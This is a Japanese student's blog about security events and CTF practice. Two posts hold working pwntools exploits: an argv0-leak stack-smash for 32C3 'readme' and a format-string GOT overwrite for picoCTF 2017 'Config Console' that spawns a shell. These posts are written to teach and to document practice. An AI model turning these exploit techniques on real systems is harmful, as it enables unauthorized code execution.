更新日時で差をつけろ

むしろ差をつけられている

OSC大阪に参加した

Open Source Conference Osaka 2018 に参加しました。小学生のときに1回セミナーに参加したようなしなかったような記憶があります。
企業ブースではSHOT NOTEもらったりシールもらったり醤油もらったり(!?)。

Linuxベースのシングルボード色々」というセミナーではRaspberry Pi以外のBeagleboneなどの紹介がありました。
Banana Pi Router-2 が面白そう。ルーターにもサーバにもなる…!
pool.ntp.orgにRPiで立てたNTPサーバが参加して、秒間3000パケットを投げられて回線がパンクした話も聞けました。stratum 1 でも案外楽に作れるらしいので作ってみたいけど寮の回線がダウンしそう(((

名前だけは聞いたことがあったEjectコマンドユーザ会やmikutterのブースにはいろいろなものが置いてあってわくわくしました。
openSUSEユーザ会のブースで布教を受けました。ブートCDももらっちゃった。
関西Lispユーザ会というのが昨年の夏にできて、2/3に勉強会を開催する予定だったそうなのですが参加は無理そう…残念。
ユーザ会ってなんだか敷居の高いイメージがあったけど、むしろそういうコミュニティに加わって学ぶことができれば楽しそうだと思いました。

セミナーのいくつかは若干期待はずれなものもありましたが、そのあたりは個人の好みなので仕方ないか。
充実した1日でした。

1/28: ELCAS/SEEDS合同発表会

京都大学ELCAS・大阪大学SEEDS合同成果発表会Twitter上で知り合った某校の人々と行ってきた。
昨年ELCASには落とされてしまったとはいうものの、今年申し込むかはまだ決めていない。SecHack365などなどの情報がまだ出ていないので。
化学だったり生物学だったりの発表は難しくて理解しづらかった。
情報系の発表は「CNNと文字のアスペクト比を用いたくずし文字認識」「ドローン搭載カメラ画像を用いた物体認識」があった。
ドローンにカメラは定石みたいなところがある気がする、ドローンがもうちょっとパワフルになってくれればできることも広がるんだろうけど。
化学系の発表内容を理解して質問している人を見て「なんでわかるんだ〜」と思ったが、自分もCNNの学習データの画像について質問してたのでそういうことかもしれない。

昼はおにぎりとバケットを食べた。
その後はポスター発表。完全食の調査や副作用の軽減策をビッグデータから探し出す研究があった。米子高専の人も発表していた(SEEDS参加者)。
途中で疲れてしまったので2人で「京都大学サロン」に行きOSCのいろいろを整理したりファームウェアハッキングの記事を見たり雑誌を読んだりした。日経プレジデント、特集「24時間の使い方」ぴったりじゃないか。でも「グローバルリーダー」と何度も繰り返すのがくどく感じたし、内容もどこででも語られているものばかりだった。

せっかく会えたのでOSCで大量にもらったシールをあげた。何枚か気に入ってもらえるのがあればいいなと考えていたが、結局nginxシール以外は全部渡した。openSUSEそんなに需要あるの…?
カレンダーが使いこなせない人間なので、O'Reillyのオリジナルカレンダーもついでに。

帰りの電車ではコンパイラの仕組みなどを聞かれたので知っていることを一気に話して図に描いた。案外スラスラ説明できたので、そこそこlibcとかELFも理解できてるっぽい。
そういう話題を調べる際にFEレベルでも知識の足場を作っておくと便利なんだなあと気づいた。

TDRJ氏「CTF, Cryptoしかできそうにないんだよね…」
sei0o「むしろCryptoは頭のいい人にしかできないよ」

どうやってつながりを得たのかと言われ、たしかに関西はそういう機会が少ないよなあと思った。そのためのCombKansaiなんだけどね。

そのあとは寮に帰って2日間の記録を書いた。IBusからFcitxに戻して右Altを変換キーに再度割り当てた。時間溶けた。
来週末はNITAC CTFがあるので平日でしっかり勉強します。

します!!

32C3 CTF 「readme」を解いた

argv0 leakというものを使う問題。
katagaitai勉強会 #4の資料が詳しい。
自前の環境ではExploitが動かなかった。その原因を探すので3日ぐらい溶かしたので問題自体のwrite-upを書く気が失せている。まあいいか(低学年高専生の発想)。
argv0 leak と glibc の対策 別にまとめた。

ここも参考にした。
32C3 CTF readme - ちょっとずつ成長日記

argv0 leakはSSP(Canary)が有効でないと使えない。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

0x600d20.data内)にFLAGが格納されているが、あとからの入力で書き換えられてしまう。
しかし、.dataセクションの中身はマッピングされたものであるため0x400d20にも同じ文字列が入っている。
マッピングについてはELF実行ファイルのメモリ配置はどのように決まるのか - ももいろテクノロジーにくわしく書いてある。

リンカスクリプトを見ると、read-onlyセクションがtextセクションとして0x400000から配置されていることがわかる。 また、データセグメントは次のメモリページとなるように調整されていることがわかる。

Exploit

from pwn import *
context(os='linux', arch='amd64')
 
c = process('./readme.bin') #remote('localhost', 62000)
 
c.recv()
raw_input()
 
payload  = "A" * 0x210
payload += p64(1)
payload += p64(0x400d20) # flag copied by ld
payload += p64(0)
payload += p64(0x600d20) # envp[0] 
payload += "\n"
 
c.send(payload)
 
c.send("LIBC_FATAL_STDERR_=yoooo\n")
 
print(c.recv()) # => *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated

OITTW2に参加した

argv0 leakでシステム間の差異と格闘していたらpwnの進捗溶けてしばらくブログ更新できなかった。原因気になるからしょうがないね。

CombKansaiのときに勝男さんにお誘いいただき、1/13に大阪工業大学枚方キャンパスで開かれたOITTW2というネットワークの勉強会に参加しました。

明石と枚方の距離感を勘違いして気づけば時間ギリギリになっていたのであわてて出たらいろいろ忘れてしまいました。
大きな建物があるので大学の敷地にはすぐ入れたものの、学内に入ってから部屋の位置がわからず事務室に駆け込むなどしてなんとかたどり着けました。

講義というよりは実戦形式で、障害の起きているネットワークと問題が5つ渡されそれをなんとかして解いていく感じでした。
Iceさんに教えてもらいつつCiscoルータを初めて触りました。結構難しい…というよりネットワーク自体についてまだまだ経験が足りないなと思いました。ルーターが積んであるのかっこよかった(小並感)
ネスペを持っているとはいえ普通に生活してたらVRFもVLANも使わないからなあ。せいぜいNAT?

昼食は勝男さんがカツカレーをおごってくれました。卒研…(5年後を想像する顔)
JANOG若者支援プログラムというので交通費などを支援してもらえることを知りました。メモメモ

勉強会のあとは懇親会があったのでお菓子食べながら雑談していました。

ヤフオクで中古のルータがいろいろ流れているので近いうちに1つ買ってみて勉強したいです。どれがいいんだろうか…

帰りもバス停までの道がわからなかったのですが人についていくとすんなり駅まで戻れました。楽しかった〜

大和セキュリティ勉強会に参加した #yamasec

1/7に神戸で開催された大和セキュリティ勉強会に参加しました。
年末行われた回にも参加してみたかったのですが、閉寮と被ってしまって行けませんでした。今回はギリギリ日時が違ったのでよかった。
私が申し込んだ30分後に@Akashi_SNが申し込んでいて驚きました(((

どんな人が来るんだろうかと気になっていましたが、思っていたよりCTF未経験の人が多かったです。半分ぐらい?
年齢層も社会人中心で、学生は自分を入れて4人ぐらいでした。
yamasecというTwitterハッシュタグも用意されていましたが、ほとんど自分しかツイートしてなかったです。学生はTwitterが好きな人多いけど、社会人はそうでもないのかな。

SANS Holiday Hack Challenge 2017をみんなで解くということでずっと取り組んでいました。
一風変わったCTFですが、Apache Struts脆弱性のPoC(Exploit)を使って解く問題があったりしておもしろかったです。
最近はもっぱらpwnばかりを練習していましたが、webにも強くなりたいなあ。PHP Webshellも知らなかったので勉強すれば楽しそう。
Linuxコマンドの入門としてOverTheWireのBanditをしている人もいました。OverTheWireはNarniaがwrite-up見てもうまいこと行かなくて放置しています><;
Gyazo

つい数日前から話題になっているMeltdown/Spectreについての話もありました。スライドは後日公開されるようです。
「投機実行サイドチャネル攻撃」と表現されるみたいで、投機実行が脆弱性になるってどういうことだろうと疑問に思いましたが、話を聞いて(だいたい)納得できました。
macOS, 使っていないとはいえHigh Sierraにしないと…

せっかくなので懇親会にも参加しました。いわゆる「CTF”は”未経験」な人々と話ができてよかったです。
組み込み・製造業でのセキュリティとかルワンダ(!?)のIoT事情とか。
たまたま隣に居た人が来週参加予定のネットワーク勉強会の運営をしていたので驚きました。CombKansaiの効果を感じる。
お酒の影響かわかりませんが、大人の方が学生の分を多く払ってくださったので懇親会参加費が1/3になりました(ありがとうございます)
こういう場に行くと毎回「学生のうちにいろいろやっておくと後々活きてくるよ」と言われますね。頑張ろう…

こんな感じで冬休みの楽しいイベントでした!また行きたい〜

picoCTF 2017 「Config Console」を解いた

ソースが渡される。良心。
残念なことにlibcのリークがわからなかったのでwrite-upを探すと、ret2libcしたりOne-gadget RCEを使ったりいろいろ解法があった。
https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/2017/picoCTF_2017/problems/binary/Config_Console/Config_Console.html
https://github.com/Caesurus/PicoCTF2017/tree/master/L3_ConfigConsole
やってる最中は$を抜かしたりアドレスを同じ値で書き換えているのに気づかなかったりで注意力のなさを実感した。
めっちゃ時間かかった。慣れないなぁ

とりあえずchecksec。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Format string bugset_exit_message()にある。
ただx86-64なので、rsi, rdx, rcx ... と出力したあとにようやくスタックの内容が出力されることに注意する。こんな感じ。

Config action: edit AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
 
AAAA
0x7ffff7dd07a3(rsi)
0x7ffff7dd1880(rdx)
0x7ffff7af9054(rcx)
0x7ffff7fb1740(r8)
0x7ffff7fb1740(r9)
 
(nil)($esp)
0x7fffffffd915($esp+0x8)
0x7fffffffdd20(saved rbp)
0x400aa6(return address)
0x7ffff7ffd9d0
0x7fffffffd910
0x7fffffffd910
0x7fffffffd915
0x4141410074696465("edit", "AAA...") 0x2070252070252041 0x7025207025207025 0x2520702520702520

NX bitが有効かつPLTにはsystemがないので、ret2libcかGOT Overwriteを使うことになりそう。手順をまとめると、

  • exit@pltloopに飛ぶようにGOT Overwrite(%14$pで入力した文字列にアクセスできる)
    • こうすれば何度もFSBで攻撃できるが、set_exit_messageloopにreturnすることなく直接exitを呼んでいるのでleaveが呼ばれずスタックがどんどんずれていく
    • それゆえret2libcで書き込むリターンアドレスを計算するのはややこしそうなのでGOT Overwriteでやってみる
  • libcのリーク
    • %2$prdxレジスタに入った__IO_stdfile_1_lockのアドレスが出る(ここからwrite-up見た)
  • set_promptから呼ばれるstrlen@pltsystemに書き換え
    • 入力が引数に渡されるのでちょうど良い

全部FSB脆弱性として使える。
が、0x00000000 00400920といったアドレスを入れようとするとNULL文字として扱われてそこで文字列が終端してしまうのでアドレスは最後に書く。フォーマット部分にはアドレスをうまく%hnなどで参照できるようにpaddingを入れる必要がある。x86と違って低位のアドレスではこういうことが起こる。
%2$lxを使えば0xがつかないのでちょっとだけ楽。

__IO_stdfile_1_lockのアドレス0x7ffff7dd1880は下を参照するとmappedという領域に入っているが、気にせずlibcからのオフセットを計算すると0x3dc880となる。

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00401000         r-xp    /home/sei0o/ctf/pico2017/configconsole/console
0x00601000         0x00602000         rw-p  /home/sei0o/ctf/pico2017/configconsole/console
0x00602000         0x00623000         rw-p  [heap]
0x00007ffff79f5000 0x00007ffff7bcb000 r-xp    /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p  /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r--p  /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p  /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p  mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp    /lib/x86_64-linux-gnu/ld-2.26.so
...

…はずで、実際にローカルでは動いたが問題サーバに投げるとSEGVした。libcが合っていなくてオフセットもおかしくなっていたのだろう。
write-upを見ると「問題サーバにはsshでログインして、リモートのlibcでgdb上で動かしてアドレスを見る」とのこと。
pedaが入っていなかったのでlibcのベースアドレスはcat /proc/(プロセスID)/mapsで見た。
ヴァネロペさんのアドカレの記事で紹介されていたrax2を使ってオフセットを計算すると0x3a77a0となった。便利。

$ rax2 -k 0x7f362782a7a0-0x7f362744df20
0x3a77a0

はじめ「mappedって書いてるってことはライブラリの領域ではないのかな??」と考えたが、gdb__IO_stdfile_1_lock周辺を表示してみるとfree_listlockというlibcに関係ありそうな名前がたくさん出てきたのでそういう領域なのだろう。たぶん(ググったけど出てこなかった)

いろいろ探しているうちにobjdump -p libc.so.6でlibcのバージョンが見られることを知った。Linuxの共有ライブラリは実行できるので直接$ ./libc.so.6としても情報が見られる。
さらにLD_PRELOADという環境変数を使えば実行時に動的リンクするライブラリを決められることも知った。
ん?昔参加したセキュリティ・ミニキャンプの「ウイルスを検知してみよう」的な講座でこんなことをした気が...いや関係ない気が...

Exploit

pwntoolsを初めて使った。
# 0xaaaa -&gt; 2 byte -&gt; 16 bitとかいう頭の悪そうなコメント。
pwntools使い方 まとめ

from pwn import *
 
#c = remote('localhost', 62000)
c = remote('shell2017.picoctf.com', 42132)
 
# overwrite exit of GOT
exit_got = 0x601258 # the original value is 0x400736, so we don't have to overwrite the higher part (0x0400)
 
payload  = "e "
payload += "%2491xAA%16$hn" # 2491 = 0x9bd - 2 (0x4009bd ... function loop, 2 &lt;- "AA"(padding))
payload += p64(exit_got)
payload += "\n"
 
c.recv()
c.send(payload)
 
# leak libc address
payload  = "e %2$p\n"
c.send(payload)
 
c.recvuntil("set!")
c.recvuntil("set!")
libc_stdfile_lock = int(c.recv(15)[3:], 16)
libc_base = libc_stdfile_lock - 0x3a77a0 # offset
 
log.info("Libc Base: %s" % hex(libc_base))
 
# overwrite strlen@plt
strlen_got = 0x601210
system_offset = 0x41490
system_addr = libc_base + system_offset
 
payload  = "e "
payload += "%" + str(system_addr &amp; 0xffff) + "x"
payload += "%16$hn"
payload  = payload.ljust(16, "A") # padding
payload += p64(strlen_got)
payload += "\n"
c.send(payload)
 
payload  = "e "
payload += "%" + str((system_addr &gt;&gt; 16) &amp; 0xffff) + "x" # 0xaaaa -&gt; 2 byte -&gt; 16 bit
payload += "%16$hn"
payload  = payload.ljust(16, "A")
payload += p64(strlen_got + 2)
payload += "\n"
c.recvuntil("set!")
c.send(payload)
 
payload  = "e "
payload += "%" + str((system_addr &gt;&gt; 32) &amp; 0xffff) + "x"
payload += "%16$hn"
payload  = payload.ljust(16, "A")
payload += p64(strlen_got + 4)
payload += "\n"
c.recvuntil("set!")
c.send(payload)
 
# enter shell
c.recv()
c.send("p /bin/sh\n")
 
time.sleep(0.3)
c.interactive() 

1/5

冬休みが始まってからずっとPCに食いついていたが、今日だけはなぜかとにかくぼーっとした一日だった。結構もったいない…けど仕方ないか。ひしひしと休みの終わりを感じている。
数学の教科書を見てもまるで文章を理解できないし、34C3 CTFのwrite-upを見ても「???」となってそこから進まなくなった。

picoCTFのConfig Consoleという問題を開いたが、スクリプトを書いている途中に自分でもよくわからなくなってきたので、やめたくないけど明日に回すことにした。pwn楽しいのでできるようになりたい。
radare2でReversing.krの問題を解いてみたいが、PEはどう扱えばいいんだろう…

ARuFaさんのブログを久しぶりに見た。面白い。今度コレを真似て記事でも書こうかと思う。

なんとなくTopCoderのMMに興味が出てきたので、開催予定のカレンダーを見てみたが2018年の分はまだ更新されていないようだった。